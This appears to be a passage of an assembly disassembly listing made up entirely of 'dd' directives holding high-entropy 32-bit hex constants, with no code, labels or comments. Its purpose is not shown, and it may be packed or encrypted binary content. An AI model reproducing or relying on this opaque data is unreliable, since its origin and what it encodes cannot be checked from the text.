0F587B9B6h, 29D47832h, 4E1F80CEh dd 6D461CF7h, 2F08DF54h, 14763098h, 2E5F3F07h, 5C96BC1h dd 87107623h, 45A726Eh, 33C4D5B8h, 844CE241h, 0C00BDBEEh dd 3E802D87h, 0DC6D35Ch, 7B597A7Dh, 642358Eh, 0E117E913h dd 0C0FD4A50h, 0F5E9505Ch, 7763B2C8h, 963698D3h, 0D07C27C8h dd 9B5767Ah, 2B745215h, 585F68E2h, 52DEB7E0h, 93A1AE3h dd 315FFA1Bh, 840D4A55h, 0F9EB5BF3h, 0A5B4B567h, 23CC0768h dd 0FF5A2E35h, 0FDC6662Bh, 0CBBD0D37h, 0F52E4AEDh, 1B53206Bh dd 5160A741h, 0C7801606h, 272FEC88h, 6F495F53h, 0D4BC2E2Dh dd 89A6E24Ah, 0CA4CDD52h, 0C177FA82h, 907540BFh, 0E90CF85Ah dd 0B80A6E84h, 75552802h, 5FD8F73Fh, 6582DE3h, 7DE810A7h dd 81F0301Ah, 91F3FD0Eh, 80896F8Fh, 2B73BF0Ch, 4CF777A5h dd 381E56D7h, 0BC2ADD15h, 845CB084h, 0AD05822Eh, 92E6D9FDh dd 8A120E28h, 7D8FAA77h, 1644B612h, 2D16B05Eh, 0D6BBAC16h dd 50F4FFF5h, 0CDEDC03Dh, 4C6833D5h, 0F59DF775h, 6A419392h dd 84F5F2A1h, 0B1FEC532h, 0E97030C5h, 67492E2Dh, 0B86C8B73h dd 84C9F65Ch, 0FA911E6Bh, 0F9E0F830h, 0A82AE133h, 1AD8F188h dd 4FEEA381h, 2F22673Dh, 8140294h, 4C8C1020h, 58D06802h dd 0E6603C4Ah, 0E08EB30h, 8C689CAh, 0F42F3101h, 633501D6h dd 2B07B529h, 10B926C4h, 8080BA75h, 0B95E3142h, 89936A45h dd 837C4E93h, 5BDBE958h, 87FF9216h, 0E4D7D157h, 0A3D604ECh dd 1B45BF00h, 0BCA02209h, 5C766270h, 0E6C14612h, 2A822C05h dd 523E3FCAh, 19874C1Ah, 3B303BC0h, 5C74FDA0h, 0B28DAF82h dd 5D5EB245h, 0FA54E5AAh, 10A06F40h, 77091D27h, 9ED489Eh dd 843A631Dh, 0AE9EAF27h, 0A3856A48h, 0FC5595E7h, 0ABA897B5h dd 20CA9738h, 8025B474h dd 93ADEC3Eh, 25B8F162h, 0AF56F2C4h, 38A45E37h, 0FC076ACh dd 0E9312A1Eh, 0FB81225Eh, 73DCC829h, 84339957h, 0B37BA968h dd 372002E6h, 5529113Bh, 0E9E29A7Ch, 0DAE85FF6h, 0F3A47249h dd 9F056040h, 522EF474h, 0B869C5C1h, 0C5E829FCh, 4526E94Fh dd 0C2F9018Dh, 48058692h, 0D9CD4782h, 52660DE9h, 2B75F64Fh dd 2CE07C54h, 7FB40C5Ah, 465A1185h, 3CB2C324h, 9431392h dd 0F1551955h, 0FE5C5A71h, 7953C500h, 149EBD47h, 0EA8C01C9h dd 712D1E04h, 10FF8409h, 0AF4908F8h, 0E8895082h, 201741DCh dd 4162EDE4h, 188F30DCh, 982264BDh, 60734154h, 0DC2C5051h dd 0FC065235h, 0CCA1F7Ah, 0F82AA7C7h, 6A412B2Ch, 8B00AE2Ah dd 2470D4F4h, 0EE00B721h, 934C97E6h, 7A8645Ch, 1C832843h dd 0E09F3C0h, 0E96617DBh, 5E764C54h, 40132D68h, 0B8013E6Bh dd 306A1A29h, 2E0C430h, 0E91CA61Dh, 48563F78h, 5E2AD585h dd 0C090C4C1h, 1225E210h, 0D143F51Dh, 1602F0AEh, 406EF47Bh dd 2FF10DD3h, 415C5021h, 0EB5F2511h, 5F03AB0Bh, 0A5B5D998h dd 0C1B38051h, 9606FCE8h, 0B2702ED9h, 0D0BDA050h, 3E626243h dd 0B656D1F4h, 2F89C40h, 93D897DDh, 0A0C30126h, 0B6E86817h dd 53A71A9Eh, 0EB9545FFh, 80E72EDFh, 0FECAD954h, 0A2C84F01h dd 6855E040h, 734E0661h, 604D5D5Fh, 8CB1A40Bh, 2063D8A0h dd 0F7161B63h, 6E3455DAh, 45A9F3C1h, 0BBA0C80h, 31092C04h dd 48C8545Ah, 67BE25E9h, 0C090BD49h, 0E4B018B2h, 38099D90h dd 1D606Eh, 0DF097209h, 0B8AAC168h, 6F3D5D2Fh, 0C237D0B0h dd 59D5E90Eh, 0E8B446D3h, 9A00C8BFh, 905F7040h, 5AED0F2Ch dd 86857E58h, 4A3C9128h, 7C82437h, 95D7B2AAh, 0B5743EADh dd 697A74FEh, 0E67E572Ah, 88C52D5Dh, 0F5258305h, 15F55B32h dd 0DBF1AD1Eh, 0AF1E9C20h, 1E2E83F0h, 0CA305D59h, 0FEF2404Bh dd 0E8C0C814h, 176E3EC5h, 0B341281Ch, 195D25Dh, 0B2EFB87Eh dd 0F589828Fh, 0F85D0916h, 0A2681F58h, 0B80A1602h, 46AC5BC1h dd 92E76BB8h, 0D693EA1Fh, 9D5118Bh, 0E1ED0040h, 8325CD73h dd 2E017EC5h, 0BA449443h, 69A44CBEh, 72D143Fh, 0DCB25D2Dh dd 232675Dh, 766C7284h, 0ABA56055h, 0D9E083C2h, 134C094Ah dd 40300432h, 5EA15D1h, 0C17CFEB9h, 0C8E6BAD4h, 292488C6h dd 6F0B27CAh, 35167DBCh, 7FE52C5Fh, 95D2FDDBh, 17715747h dd 0FF852F3Eh, 0EA24AE85h, 41D7D1DCh, 0EF34824Bh, 7098FD7Eh dd 0A21A4B97h, 0A56E8645h, 18F77D17h, 6C376236h, 0A0307CDEh dd 0A3201854h, 0C4BA4EEFh, 3616EB2Ch, 88EB04BAh, 0F2800232h dd 3360FF2Dh, 9BB8CDFEh, 755969FEh, 6E81C58h, 350172E4h dd 7948CE54h, 0E01A357Ah, 6C12DF69h, 56C434D8h, 0E2000716h dd 0BAC1708h, 5D02829h, 5B5A0E07h, 0B3939A68h, 584D0420h dd 8EC24BBDh, 0BACDE879h, 1E6D164Ah, 6741EA20h, 65927A4h dd 20B2420h, 0E93C026Ah, 30D57476h, 0B555801h, 18148DBDh dd 0A9B02178h, 0DECC0E5Fh, 30C04033h, 885AD70Bh, 21E472FCh dd 2C8F31D5h, 0D7D049FEh, 0EE648D9Ah, 5E606B20h, 9377A35Fh dd 52C181AAh, 58660015h, 0D0D44828h, 33F9F415h, 3C013578h dd 7C9BA5F7h, 500D0242h, 0E215BE6Ah, 97915033h, 38D496DDh dd 0BA5A66AEh, 0AD3A0769h, 32409F53h, 0E7E91709h, 4FA2A856h dd 0A1D1830Fh, 0CDB92AF5h, 10A8B2E4h, 6C812030h, 201F610Ah dd 351310ADh, 88BE4FCFh, 56075709h, 0D9606468h, 0EAC05E34h dd 14DF45F0h, 88E6C151h, 0AFF29312h, 9BC42AB2h, 8DCEBE3Ah dd 7F87680Bh, 7C20E766h, 7114FA08h, 28445A71h, 7A27E9A2h dd 62135C0Ch, 0CFC4AB34h, 3901EB03h, 1E436A22h, 0D28E9F0Eh dd 3C9BB87Ch, 592A6410h, 9C433ECFh, 92D4DF27h, 79092005h dd 7FC94FC2h, 6243EFF9h, 0EA173E7Ah, 3ED03719h, 128E61DAh dd 9541F208h, 7ECB6864h, 395AF1EDh, 4D550479h, 0F6835412h dd 0FCA15EA2h, 41FA5EFDh, 47B2A99h, 4CAE4001h, 607E16DDh dd 4B91A874h, 2F58509Bh, 2157B8E3h, 5D58C78Dh, 0D672A87Bh dd 0CA05B709h, 0B7A40009h, 9FFD202Ch, 0DD0061D0h, 8816C580h dd 9D05E9EEh, 5DFC0Bh, 0AB6304F6h, 5BAAA127h, 0D63BB33Ah dd 0E90BA49Eh, 0B3E4B558h, 4D9F8B7Dh, 0D8F701BEh, 7D23F8E9h dd 1A68C314h, 0A6AE8431h, 39E9C280h, 0B0BDA21h, 18A95F71h dd 2DE2D558h, 1D39D505h, 0E4C20163h, 0A6A2D161h, 325E13CEh dd 94FF5C16h, 94F795EBh, 4CE913B9h, 39003D93h, 0C0680AE1h dd 51935F13h, 5F1323BBh, 8198FDD3h, 132EBEEEh, 0C600EDDEh dd 262C43BBh, 0F620F901h, 0B571014Ah, 4EE23534h, 51352090h dd 0B621C040h, 2A090AF7h, 0E1FF49FCh, 67F15339h, 0D7359E57h dd 0D2F013C4h, 34F81368h, 0B319FC5Dh, 44D082E9h, 591F2C63h dd 0C5E74084h, 6F00D855h, 7BC7BA52h, 32E96D5Dh, 5C24FA20h dd 0F6BDC7FAh, 0B5FDBF55h, 0DEDEB626h, 976CD309h, 0D7280B57h dd 5263A65h, 0B02C7C10h, 4AC51ED6h, 92A21613h, 58442CDFh dd 0E97B297Ch, 0BF52564Ah, 596F49AAh, 7C7A64FEh, 0E1C945DEh dd 0A1CB7C28h, 0CE3F25E7h, 3D5A7E95h, 127CEB17h, 3089419Eh dd 0AE4AB1E7h, 0BD6790FEh, 682665F2h, 0D23E8C12h, 42702FBAh dd 80537500h, 1A70539Ch, 946CB551h, 2CB25035h, 59CA8027h dd 58B56282h, 5DFE75h, 0D2F659EAh, 7F4BA5E9h, 0E9CEDBE7h dd 0F0D14DEBh, 715C6861h, 0F1429D88h, 0FDE5880Ah, 5A08CF2Ch dd 58E68176h, 3C1D713Bh, 211261C0h, 13B020Dh, 835BCF9h dd 6BA53531h, 0F675E02Dh, 21180B22h, 61AB7B1Fh, 2327D183h dd 363202C1h, 248057C9h, 0E9396627h, 7A0F065Fh, 76746E5Ch dd 0FCAF5161h, 1608B72Eh, 8EAB5FF9h, 8940486Fh, 5F082936h dd 0C94A0053h, 30C46B17h, 0F576FCEEh, 4C41CFBEh, 74E2C15h dd 5B438569h, 6ACF4480h, 714B58DCh, 5D3F6D05h, 135FFC1Fh dd 0A9AD0CE9h, 1A8FC507h, 9DD49BEh, 772E0BC8h, 61486490h dd 62C77FC0h, 97287C77h, 0E003AE5Fh, 83649E53h, 123D9EEFh dd 0D1A2BE25h, 5A113C32h, 0E2CE45DFh, 5B00E4AAh, 9006E1C0h dd 0B93E4A46h, 613D634h, 0C1808142h, 0F8F655C2h, 0E4A22C50h dd 74C8E01Dh, 0D2E2E504h, 0C0E14F70h, 2FD1054Dh, 7C3C5E3Dh dd 5D148869h, 0CB902DDAh, 1CFB9020h, 1E5BF828h, 582DB8F0h dd 299861ECh, 27C530BFh, 0EFB7D348h, 0FD393121h, 0FC13443Bh dd 0BD4109Eh, 834D136Eh, 4F1AEBF0h, 792BD51h, 7FCE2293h dd 0D610FD95h, 7E502708h, 55C4019h, 0E135139Dh, 60808A0Ah dd 4A7A6D65h, 24D3C04Ch, 723B1B63h, 237DC41h, 2935394Dh dd 9367F5C8h, 54515A84h, 125AB2FFh, 5EBC0ADFh, 21066882h dd 175116FDh, 0EC2FC8E9h, 168C2A5h, 6090D667h, 446B2B85h dd 0A29D359Eh, 48DA9060h, 510336EFh, 5D7AE575h, 34AAB8F9h dd 4805288Dh, 0EA891E9Fh, 4DF26DC0h, 3B7F3077h, 2B6FA90Ch dd 1097404Ch, 5C18DFCDh, 0A825BE57h, 0CC80609Ch, 89FB7FF9h dd 55BFFAE8h, 8B3EBA14h, 4D680A56h, 18407472h, 0B06E0D01h dd 79C625AAh, 665A4E5Dh, 0E061ADAh, 95125B4Ah, 57C46701h dd 0ED6156F1h, 272A76C0h, 0F3DE0133h, 8698755Ah, 5E5BF329h dd 0B6856CBDh, 12C0EEE4h, 0E93E2868h, 8E3BFD6Eh, 0C1FF3645h dd 6C3EA412h, 4121937Bh, 0F7030EDBh, 3CFA80ACh, 280BB43Fh dd 0FF58C301h, 0DDF06FCAh, 2E0E6C97h, 52712770h, 0E8D09684h dd 6023C997h, 0B73C89F9h dd 0E95E80FCh, 5F16096Fh, 0C8121CFBh, 52C25D0Dh, 0BA922330h dd 0E230316Eh, 791DF5B0h, 8952CFA5h, 0BDA4F029h, 0E95853D6h dd 20C84B5Ch, 0C3106E23h, 9BAD514Eh, 9D580840h, 13C69C7Dh dd 0BCD53FE9h, 722AC143h, 7B7C76DDh, 0F2D80112h, 2DF8C009h dd 489543B0h, 0AB795838h, 0D0DEC222h, 6D6668BEh, 0BC008F5h dd 7010341Ah, 2555F8DCh, 0E74272E9h, 0C2926557h, 9EDF28D7h dd 685D0864h, 0E9091259h, 5DB9626Ah, 0D57AF876h, 0E9415C79h dd 653A82FDh, 0E96960A9h, 3FE106B5h, 0EEE405FDh, 375890E2h dd 0FB29854Fh, 4651A72Bh, 4C03587Eh, 554A2B68h, 0EE92BDF2h dd 0B33B5D69h, 769E853Dh, 0EEC45FE8h, 78C41323h, 3C72A1BBh dd 9A022778h, 0AEF65532h, 0E9F1A501h, 4F54B1ACh, 7ED4A1FAh dd 94DADDA7h, 215475Dh, 0DF2673EBh, 2D2461FFh, 3B191A29h dd 7BFEA10Ah, 179BC306h, 35660E12h, 582E1BEh, 69753CC0h dd 1C920193h, 2C03A829h, 0A9EFAA34h, 0B49A82D1h, 49A27FFAh dd 0B3E0C680h, 99BB6DB2h, 0F3534A17h, 65CF9CEFh, 0B51C00BFh dd 6C5FE9Bh, 0F66CCD80h, 0B9120AD5h, 87491EE9h, 16727659h dd 0A3C30A48h, 9AF42F81h, 411807A4h, 0EEDE2048h, 4FA5B75Bh dd 5EE1ABC2h, 4A0D8F3Ah, 5CC21198h, 0E7842C02h, 6E680725h dd 75BC65D2h, 0E9C1F251h, 0AC331E35h, 3052578h, 9E32D747h dd 3DE3E55Fh, 0CA7D4BA5h, 9211541Eh, 166AA856h, 62DD953Ah dd 0ACD5A222h, 18F1BAD2h, 0E49DEC2Ah, 87FFACBBh, 6408398Dh dd 6E81C34h, 0A5B2609Dh, 6A5DC417h, 755A0BA1h, 2E87B631h dd 1EA7212h, 9F715879h, 0F9F26E02h, 1B8BFF4Ah, 2326050h dd 318272D0h, 9A5C5FF8h, 0E94D602Dh, 7EAE9D4Fh, 0BE1DE8C4h dd 525F1B44h, 0C646F8AAh, 20A36275h, 0D4E060E0h, 805A6604h dd 1FAB45C4h, 0F420416Dh, 7278D5E9h, 42D003BCh, 88052B11h dd 902D974Ch, 746E77Ch, 44681CB7h, 9EDD2773h, 0E4EF94C7h dd 0C4FAC65Ch, 0EB6C1C6Ah, 2DE95178h, 2320EEAAh, 798BB97Ch dd 39F56F6h, 0B9C529B7h, 4B2D3F2Eh, 4E46EE11h, 0B10E00ABh dd 8172AE4Eh, 4155CE04h, 40EA2E12h, 0BE4FFA00h, 0F29A567Eh dd 6757EE0Bh, 0EFAD0561h, 8EE90702h, 2CC7671Fh, 0B78B151Dh dd 0AD0B569Eh, 39B40237h, 8002E4C0h, 0E188ECB4h, 0CE202A58h dd 5E062017h, 31E7B900h, 0C9812191h, 52813ECh, 22A0D868h dd 754F3F00h, 11CB8143h, 0F395484Eh, 78E02A2Fh, 581EC721h dd 0F4964897h, 97D85DFBh, 0FE33528Ah, 6D130BB2h, 84E1E90Ah dd 952250Bh, 0D157824Dh, 0E26861DBh, 45FD8C3Fh, 0B530A2Dh dd 0C7FE73B7h, 487ECFEh, 1EAEF780h, 0E28EDEE7h, 0FA0B509Dh dd 82972570h, 98958E79h, 5DA85EB6h, 7F82ADDFh, 0F85D5258h dd 7E6B98E2h, 37E12C01h, 43FA93BCh, 72D339A3h, 0C5A099EAh dd 0DD1F9EBBh, 0A85E1E7Ah, 53CF84ECh, 271F3C1h, 2B372062h dd 0E3A92C65h, 0FFDDD509h, 0D8040FB2h, 0F91F17D8h, 14E4A9D6h dd 9335139Bh, 0B33E1653h, 426D074Dh, 81C91BA1h, 2B1E314Ch dd 1F2DCAF0h, 9AC4Fh, 5035AF2h, 0D74B0120h, 64869362h dd 0BBF70272h, 963D323h, 503FE77h, 46518868h, 2BA34AACh dd 0E55EC502h, 8553E3CDh, 8FBAF9E7h, 0BD364F03h, 0CA594E07h dd 92D4909Eh, 2BFAB1h, 1752C262h, 60B70962h, 9D832078h dd 0CE0EB564h, 33317997h, 71164DE9h, 8666BDD8h, 20CB4F8Ah dd 0B9F4BCB6h, 0C5996158h, 42EFC788h, 585AD380h, 0F4A778D9h dd 0A5FE2798h, 3B6E7769h, 4AFFE6BDh, 338CFA5Ch, 25B32D53h dd 59EAC120h, 0D05A305Bh, 0FCBE57AEh, 76B684DCh, 9DB1B3A4h dd 6125B480h, 2DEE3637h, 16053D0Fh, 0B3CE611h, 814E0E80h dd 0ED2735E6h, 30EE602Fh, 95F6511h, 6022D691h, 80A5B700h dd 6C0C776h, 2C4D04FBh, 710EBDCCh, 2C5EBC9Dh, 0CD58C8FEh dd 0E831A26Dh, 0CB0876C3h, 204AC1Ch, 9E290AC0h, 5E36D02Dh dd 0B5021679h, 6515E596h, 0F6AC2A4Eh, 0B80650E8h, 8BF2343h dd 1C292756h, 0D677BB92h, 0A7098B9Bh, 0E53B942Dh, 0F8D525C4h dd 189D0821h, 0C73E99B4h, 0A27FED7Dh, 71403D9Dh, 0C009262Dh dd 0FA11E94Fh, 6FF30480h, 0C031FC49h, 0B01884FCh, 0EED11F13h dd 0F3BDF601h, 1738F027h, 289D0E50h, 4CD8C4Ch, 102C50EFh dd 2ED4F137h, 83DD8FFCh, 48CE718Bh, 270C2A05h, 12BE1D36h dd 98BEAEDh, 0C406274Ah, 37E8AB58h, 0E4B6ADD6h, 859021BBh dd 30756B45h, 16AAE985h, 0F69DBE89h, 1094E22Bh, 5A09077Fh dd 0CF87C8FEh, 0AB2B389h, 2CDA5139h, 57C92ED3h, 0BA5D5A3Ah dd 2FE5F912h, 0C54296DCh, 22C75538h, 0E9049825h, 710F59FDh dd 1A18F305h, 58B9B9E0h, 2D40016Ah, 32E1D72h, 0F45E57F2h dd 5D969C42h, 4142975Eh, 9FDD6613h, 0C3449068h, 0E991CA04h dd 912F628h, 72299EE4h, 8F24382h, 0DB08DD74h, 2A624EFh dd 69B2602Bh, 688C8F61h, 598E97C9h, 2598B35Fh, 0D75E8B5Ch dd 0CA29BE1Ch, 6828EA0Eh, 0B7E0F420h, 0BB25BBF8h, 9F5BD812h dd 0FDA7B5FEh, 0FE47BD02h, 0E70D709h, 0F15EF527h, 871F62A8h dd 77805005h, 0D5368Fh, 7591B855h, 0C829BE4Bh, 0B2A8594Ah dd 8D0D4000h, 2D23F879h, 809CF702h, 0D9C501D6h, 0C6DE4EF5h dd 7E073AEBh, 8FA08B5h, 510FE90Bh, 0AC8B3DE5h, 93808B55h dd 0A2EAF5C3h, 2F400C60h, 8472F01Eh, 42180883h, 56818C2h dd 0B6602533h, 702FA78h, 0FF9B0435h, 0C8CA40D7h, 2E7F1250h dd 0ED40BAE9h, 2B586ABAh, 0EC95B001h, 0AC0CD348h, 0C52410FBh dd 0B9C38816h, 17721C83h, 5414DF27h, 275FD8A2h, 16FC34F0h dd 40470E8Fh, 6D617781h, 2E0D5960h, 0E7B60971h, 5402B800h dd 592A0B2Dh, 20F1265Eh, 5AABB00Bh, 416EB243h, 61AFD090h dd 987E673Fh, 0B9745375h, 7F109F24h, 0B42C302Bh, 7A02B922h dd 7520517Dh, 807674Ah, 61E96F53h, 0D9F5BBDDh, 0CD2EBD35h dd 4F69600Fh, 1C853913h, 0BEBCD4FAh, 0C0E39BC3h, 4A60A572h dd 646400D1h, 0E9FEF59Fh, 79EC772Dh, 991AE2B5h, 60CAF08h dd 9E6BB52h, 6D157DCAh, 0A02E84h, 0DA3648B9h, 0A823F40Fh dd 1D3D04C4h, 252CE828h, 84B6CDE0h, 13E66DC0h, 4F02A663h dd 0CC5BD846h, 2F073717h, 5B1B79A0h, 0D3E5A94Bh, 2E686BF0h dd 6A121A3Fh, 4256028Ah, 0A1810E6Bh, 2C1F041Eh, 0A99E7BB7h dd 4B70E9D0h, 0CA24474h, 38BCBB0Dh, 685061E1h, 2F68BC25h dd 93567F9Ah, 66824A5Ah, 0BFE916A3h, 3025994Ah, 1712905Bh dd 50FB3D45h, 135C0869h, 38DD68C2h, 2374126Ch, 97DF2980h dd 5466442Fh, 0E3E01635h, 0EB8A749Fh, 0E48DCE77h, 0CCC197B5h dd 0ADBE048Fh, 0F5E84BFCh, 21397909h, 5CA2F40Eh, 487F6347h dd 1311C52Eh, 14F5A51h, 299BD6D2h, 0BAB6300Bh, 0F22B5B81h dd 2D413EC4h, 51DB76D3h, 16A87B05h, 0BB8ABA4Fh, 9406342Ah dd 0A7E0824h, 59C3210Bh, 96FDE976h, 5DF325A4h, 8783235Fh dd 0EF8B0351h, 179F504Ah, 9CDC3ADAh, 6E18BB01h, 0A8E84979h dd 25C8BFD8h, 5912A6BEh, 0E0FB758Eh, 972655D5h, 9B205240h dd 6897B8B7h, 8129627Ch, 0E0DA09A0h, 0AF5F5978h, 4CD2BD41h dd 0F12E2D5Bh, 57D99Eh, 3D7188BFh, 9A171E83h, 1024ED2Ch dd 675AC4DBh, 989C2C4h, 7D69E67Ch, 41091345h, 0DCB45544h dd 22D2E0C1h, 0BB2E55AFh, 3401A712h, 0AA50DD2Bh, 0EA22C43Fh dd 0A561699Dh, 4EFBC13Eh, 5D9B9D7Dh, 23A5D0D6h, 1462AFCh dd 75E2BA3Bh, 2E2966F2h dd 325270D1h, 0FE451771h, 0F97895A5h, 40D1C702h, 0A87D2E4Dh dd 0D42D08A9h, 24335968h, 2049F60Fh, 42EF03AAh, 2671053Dh dd 1C7F0D0Ch, 2530B816h, 0F4F9C523h, 0D790796Fh, 70A84022h dd 83B29577h, 6E66C0F5h, 0ED808049h, 0EE886216h, 520EA98Ah dd 0F30155B6h, 9EDEACE9h, 2781BED4h, 0F1213B9Ch, 0AE3893F1h dd 0CD355B01h, 4719AF43h, 3A4BF0BFh, 464C4E32h, 40FC0503h dd 5AD0CE68h, 25120705h, 2D707714h, 0B9DAC525h, 0D8F05605h dd 49B3914Ah, 8583F95Ch, 48CB99Eh, 4B40595Eh, 0AAD4FA6Bh dd 0DF5F0809h, 0A4329316h, 0DDEF57FDh, 5E7C4ED0h, 7CC4822Dh dd 23463FEh, 72EA2902h, 90D070ACh, 1769EDEAh, 0C777A659h dd 2273FC9h, 0E905C468h, 0FCCB8402h, 0C27A5A0Bh, 2771C0Fh dd 0FE163345h, 1A6021ADh, 0DC45371h, 4930D8BDh, 5A3B724Fh dd 0F713F716h, 54D7B62h, 30F94A4Fh, 4C5BB3F5h, 0F227277Eh dd 4F9351h, 0FB67E3BEh, 0BA04521Ah, 2BCA65A9h, 63F742FBh dd 0ECC06E4Dh, 92B6DCE6h, 7394AB62h, 12F70E8Dh, 45D8AE16h dd 0B73825E9h, 3BA7922h, 5C97397Ah, 9E933D55h, 15C416Fh dd 0E90A3438h, 0EDC56B6Ch, 0C903F2FBh, 0C9717557h, 0BD551630h dd 4C581F83h, 9CFE8C4Bh, 0B42A681Ch, 0BA171E33h, 0CF004C9Bh dd 3CA4E281h, 0E97639D1h, 45ABEDACh, 3AA8B10Ah, 3A7729FBh dd 0BD2BCFDh, 1F7C13BBh, 6434880h, 0B356AB68h, 7C4104A8h dd 0A601AA5Fh, 64E502D9h, 5804B22Bh, 21E00201h, 5F0901BFh dd 0C82099DEh, 7B5BCA09h, 463E0090h, 973E557Eh, 804BDEAh dd 72A0EE5Ah, 9AFA54A2h, 697295EBh, 58C985BFh, 207A26C1h dd 0CA25C16Fh, 7EA37B02h, 2678578Ch, 5A72075Ch, 7E5A25D2h dd 90C201Bh, 0EBF4E95Fh, 2D6AFB55h, 0F0D8117Eh, 0A8CB9573h dd 8272F3F0h, 10ACB09h, 0C5D97FDEh, 0D3D6D66Bh, 9E74E20h dd 57F8685Dh, 8F8E4BF9h, 0C7464B5Eh, 53DF0F57h, 2289C849h dd 0C6EB117Fh, 0A5F7F52Fh, 0A403FE18h, 0B26C322Eh, 5CB85002h dd 9F62A468h, 34A1A088h, 0AD317A2Fh, 0F98952CEh, 18FD7B40h dd 3C12B57Fh, 592FEF28h, 0F70BB471h, 18BA5DD2h, 9098F055h dd 0A57C95AEh, 7E59E90Bh, 0BA7F2737h, 7016D7F6h, 66580096h dd 7E482E68h, 5A1910E7h, 0A4046EE9h, 0C7188F75h, 0FD9DF35Bh dd 6BF9DF18h, 0B5F0FACFh, 133E6BC5h, 82E9F27Bh, 39393B1Fh dd 0FAF5AC50h, 7C172F5Ah, 2027027Ch, 6345F75Dh, 7F21E794h dd 5BD1EC2Fh, 6422F5C1h, 8F94BE05h, 1B5F1EEh, 6A4E6198h dd 30204739h, 51369AF1h, 20A7C952h, 4BE3B6D5h, 0BF2BAB14h dd 0DC8B8C4Bh, 0F7835F60h, 58FA2811h, 85002B34h, 0E94E8BABh dd 22DC0B68h, 0C280CA04h, 56E3E984h, 0F6EA8606h, 20CB08D5h dd 40677973h, 0CFFEABB7h, 3B5551B0h, 0B2482ED2h, 3402C28h dd 3608138Eh, 623891D9h, 0DCEF93A7h, 1F9CB906h, 661071ACh dd 0A975528h, 88A33C9h, 0C1E2E08Ah, 22764F45h, 716ACA00h dd 1AE9189Eh, 0F182A8D9h, 457402CFh, 59CE29B8h, 2B30E4F5h dd 42C0210Ch, 0AC74FBE9h, 0DABFFC2Dh, 4C423C60h, 0E9D1FFCEh dd 667E26A3h, 4A6CB2A9h, 0BF5D80BDh, 31EE22ABh, 0A3016298h dd 290DEA2Ch, 13F5AD7h, 0D8152A71h, 7BA92E36h, 0A172893Bh dd 167FA9B4h, 0EDD0FED1h, 4E921F4Bh, 7307FA7Ch, 8B3B5AD6h dd 34307D66h, 0B9808EECh, 0E55C2697h, 0D5612F9Ch, 5F6A785Dh dd 87A564EBh, 0F6A71F2Ch, 48F2DE5Ch, 290A566Dh, 7C109FEBh dd 2BDE267Ch, 0AFE4453Fh, 0E1BC2D17h, 3AE84D30h, 2412B575h dd 0D013D509h, 805A7841h, 2CE42AEAh, 0ED9CB5D0h, 4508182Dh dd 15DD09C8h, 44880071h, 0A6B507C3h, 1E023951h, 8808212Dh dd 0EC6CD7A5h, 46701E27h, 4D1C2020h, 0E813665Eh, 9BF721BAh dd 1ED96964h, 23565058h, 546221E4h, 1D66440Dh, 3C3BEFBBh dd 645BDA16h, 35C9AC3Bh, 5A062659h, 180A7477h, 323C4EF2h dd 0DFC5AD0h, 0F77F192Fh, 7DF1583h, 1B07D5Ah, 0EBF84AB9h dd 12E5EC21h, 9B4F72Ah, 0B151FB68h, 53495DF4h, 0C34288F9h dd 4BAA387h, 16EAB9A1h, 347F3103h, 0E612942Dh, 1A86258Eh dd 0A300CB72h, 214E9D79h, 94455AD5h, 1FD92D32h, 79304A61h dd 33D5C06Eh, 0FC6BA8CBh, 74170037h, 0C14E3D07h, 4338880Ch dd 0A0AC3EB3h, 0C2399192h, 595F0022h, 0ACF85B21h, 45FFB47Ah dd 0AFA636F2h, 21E91D21h, 0BE2D133Bh, 2555C9DFh, 8105B3D1h dd 2E273256h, 0C4D074AFh, 3AB2B188h, 386150D9h, 7DFA7025h dd 0E9F05F74h, 173560E3h, 0D171C6E2h, 0B9511307h, 16A46BE4h dd 0ED5C04AFh, 0E17F8DBFh, 3C053B64h, 26815E54h, 500297C0h dd 845FB5Dh, 81005C61h, 4B6BC1E1h, 185980Ah, 65A9444h dd 9D774EE9h, 5400BB22h, 0C6B85363h, 0C4D42FCAh, 0C9FD0E62h dd 1C74A0CAh, 3C86B640h, 5FA15098h, 2D0C37F3h, 0AC57084Eh dd 0DC9325DFh, 7789D65Ch, 0B0946E60h, 2152DEEh, 39F904A9h dd 7A2FBD07h, 68620127h, 0C7E6F7A9h, 32BBB81Dh, 90C6997h dd 0BC7351Fh, 43921E41h, 354D6F01h, 33092E09h, 81227CC6h dd 206B1877h, 7A03041h, 0A148B5BCh, 5D0F6309h, 0E8B702ECh dd 83CB5D0h, 4C0140C7h, 0A57E234h, 0AEB885BBh, 0FB663461h dd 6E5D9B30h, 0B264C455h, 1FD1BC1Eh, 1C1D1B0Ch, 438AC381h dd 947E6130h, 0E00811AEh, 19CFFB4Bh, 9A54D85Ah, 6EAF8C9Dh dd 7B6E07BDh, 0D24D561Fh, 1B5F266Dh, 2EEC939h, 8BB0A33Eh dd 20D16453h, 0F69D9147h, 21CD0053h, 0F748B176h, 5810D560h dd 60758A4Fh, 0B0A7D44Dh, 0F0940A31h, 4B11EC25h, 0B302815Bh dd 5CB57B4Fh, 120AB42h, 0C980C7FEh, 0B4078E73h, 5BFC0193h dd 0E07AE620h, 705E7FDEh, 320B1E88h, 0DCAFE08h, 84318D09h dd 63CCE87Eh, 853E6FC0h, 15C7CEFAh, 4A973CFEh, 13B744FBh dd 0D204134Bh, 112CBE7h, 700F9372h, 714C2069h, 968FF016h dd 4A52ACCCh, 0E917055Dh, 210BAAA4h, 0D1E7757h, 25D351Eh dd 81BE7E56h, 0E3FA52BEh, 0EE9755B6h, 4370BF6Dh, 17C5C54Fh dd 9C18EAEh, 72906850h, 0C7C4315Ah, 3F5DEE2Dh, 81D2F527h dd 36765D0Ah, 0A0B66BCFh, 392AB98Fh, 273E7AA8h, 3490BFF2h dd 6596A68h, 2EC9FB3h, 8AA15A96h, 0B14383E4h, 0EE7C4B40h dd 0FFB0CF8Bh, 0E125499Eh, 61CCD30Eh, 5454F968h, 5B6F9C3Eh dd 0FAD8D695h, 0B2304912h, 9A136851h, 804234Bh, 0B907A0B0h dd 0B69F91h, 3AF6E12Ah, 22903C2Dh, 0BA3E7DB0h, 1735C7Ch dd 8970DF0Eh, 0EAF859CAh, 657C9D05h, 8D03978Dh, 505DB82Fh dd 3F408ABBh, 59FB7729h, 502F7Ah, 4B180F9h, 16D9863Fh dd 9B9014C6h, 987030E0h, 0B2ED0BD9h, 3C86B9ABh, 5D12AF95h dd 0C8FE8E68h, 5E7553F6h, 5B4EF173h, 0B17A02E1h, 9DD72853h dd 5F3425C9h, 0BD80D8DBh, 681B7003h, 29265487h, 295A02BEh dd 0F5E935B4h, 555C3778h, 